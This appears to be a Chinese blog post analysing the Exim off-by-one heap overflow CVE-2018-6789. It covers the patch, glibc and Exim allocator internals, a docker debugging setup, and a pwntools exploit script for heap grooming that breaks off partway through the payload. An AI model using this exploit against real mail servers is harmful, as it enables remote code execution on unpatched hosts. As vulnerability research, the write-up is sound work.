CVE-2018-6789 Exim Off-by-one漏洞分析

Editor發表於2018-04-18
看到網上有關於這個漏洞的EXP和文章了,這兩天仔細除錯分析之後覺得這個漏洞還是很有趣的,分享一下。

漏洞原理

來看一下github上的補丁[5]。

CVE-2018-6789 Exim Off-by-one漏洞分析

exim分配3*(len/4)+1個位元組來儲存解碼後的資料。如果解碼前的資料有4n+3個位元組,exim會分配3n+1個位元組但是實際解碼後的資料有3n+2個位元組,這就在堆上造成了一位元組的溢位(off-by-one)。 


基礎知識


exim有一套自己的記憶體管理系統。


exim中的store_free()和store_malloc()直接呼叫glibc中的malloc()和free()。glibc會在開頭使用0x10位元組(x86-64)儲存一些資訊,並且返回緊隨其後的資料區的地址。


CVE-2018-6789 Exim Off-by-one漏洞分析


開頭的0x10位元組包括前一個chunk的大小、當前chunk的大小和一些標誌等資訊。size的前三位用於儲存標誌。上圖0x81的意思是當前chunk的大小是0x80位元組,並且前一個chunk在使用中。


在exim中使用的大部分已釋放的chunk被放入一個稱為unsorted bin的雙向連結串列。glibc根據標誌維護它,並將相鄰的已釋放chunk合併到一個更大的塊中以避免碎片化。對於每個分配請求,glibc都會以先進先出的順序檢查這些chunk並重新使用。


由於效能上的考慮,exim使用store_get(),store_release(),store_extend()和store_reset()維護自己的連結串列結構。


CVE-2018-6789 Exim Off-by-one漏洞分析


storeblock的主要特點是每個block至少有0x2000個位元組並且storeblock也是chunk中的資料。在記憶體中如下圖所示。 


CVE-2018-6789 Exim Off-by-one漏洞分析


下面是與堆分配有關的函式。


1.EHLO hostname:exim呼叫store_free()釋放舊的hostname,呼叫store_malloc()儲存新的hostname。


/* Discard any previous helo name */

if (sender_helo_name != NULL)

{

store_free(sender_helo_name);

sender_helo_name = NULL;

}

if (yield) sender_helo_name = string_copy_malloc(start);

return yield;


2.unknown command:exim呼叫store_get()分配一個緩衝區將具有不可列印字元的無法識別的命令轉換為可列印字元。



const uschar *

string_printing2(const uschar *s, BOOL allow_tab)

{

int nonprintcount = 0;

int length = 0;

const uschar *t = s;

uschar *ss, *tt;

while (*t != 0)

{

int c = *t++;

if (!mac_isprint(c) || (!allow_tab && c == '\t')) nonprintcount++;

length++;

}

if (nonprintcount == 0) return s;

/* Get a new block of store guaranteed big enough to hold the

expanded string. */

ss = store_get(length + nonprintcount * 3 + 1);


3.EHLO/HELO,MAIL,RCPT中的reset:當命令正確完成時exim呼叫smtp_reset(),釋放上一個命令之後所有由store_get()分配的storeblock。


int

smtp_setup_msg(void)

{

int done = 0;

BOOL toomany = FALSE;

BOOL discarded = FALSE;

BOOL last_was_rej_mail = FALSE;

BOOL last_was_rcpt = FALSE;

void *reset_point = store_get(0);

DEBUG(D_receive) debug_printf("smtp_setup_msg entered\n");

/* Reset for start of new message. We allow one RSET not to be counted as a

nonmail command, for those MTAs that insist on sending it between every

message. Ditto for EHLO/HELO and for STARTTLS, to allow for going in and out of

TLS between messages (an Exim client may do this if it has messages queued up

for the host). Note: we do NOT reset AUTH at this point. */

smtp_reset(reset_point);


4.AUTH:在大多數身份驗證過程中,exim使用base64編碼與客戶端進行通訊。編碼的和解碼的字串儲存在一個store_get()分配的緩衝區中。


環境搭建


github上已經有現成的docker環境和EXP了[3],為了省事就直接用這個環境在docker裡面除錯。


sudo docker run --cap-add=SYS_PTRACE -it --name exim -p 25:25 skysider/vulndocker:cve-2018-6789


--cap-add=SYS_PTRACE命令是因為docker的安全設定問題,為了能夠在docker內使用gdb除錯,否則會提示ptrace:Operation not permitted。


CVE-2018-6789 Exim Off-by-one漏洞分析


接下來sudo docker ps看一下CONTAINER ID,sudo docker exec -i -t xxxxxx /bin/bash(xxxxxx是CONTAINER ID)進入docker,apt-get update之後apt-get install gdb再安裝gdb外掛GEF。接下來需要修改原來的EXP。為了除錯方便去掉多執行緒爆破繞過ASLR的部分,假定已經知道了acl_smtp_mail的地址(之後再詳細解釋),將IP硬編碼為127.0.0.1,在每一個步驟結束之後都新增raw_input使得程式停下方便我們在gdb中觀察等等。總之修改後的EXP如下。


#!/usr/bin/python

# -*- coding: utf-8 -*-

from pwn import *

import time

from base64 import b64encode

from threading import Thread

def ehlo(tube, who):

time.sleep(0.2)

tube.sendline("ehlo "+who)

tube.recv()

def docmd(tube, command):

time.sleep(0.2)

tube.sendline(command)

tube.recv()

def auth(tube, command):

time.sleep(0.2)

tube.sendline("AUTH CRAM-MD5")

tube.recv()

time.sleep(0.2)

tube.sendline(command)

tube.recv()

def execute_command():

global ip

ip = "127.0.0.1"

command="/usr/bin/touch /tmp/success"

context.log_level='warning'

s = remote(ip, 25)

# 1. put a huge chunk into unsorted bin 

log.info("send ehlo")

ehlo(s, "a"*0x1000) # 0x2020

raw_input("after 0x1000")

ehlo(s, "a"*0x20)

raw_input("after 0x20")

# 2. cut the first storeblock by unknown command

log.info("send unknown command")

docmd(s, "\xee"*0x700)

raw_input("after 0x700")

# 3. cut the second storeblock and release the first one

log.info("send ehlo again to cut storeblock")

ehlo(s, "c"*0x2c00)

raw_input("after 0x2c00")

# 4. send base64 data and trigger off-by-one

log.info("overwrite one byte of next chunk")

docmd(s, "AUTH CRAM-MD5")

payload1 = "d"*(0x2020+0x0-

相關文章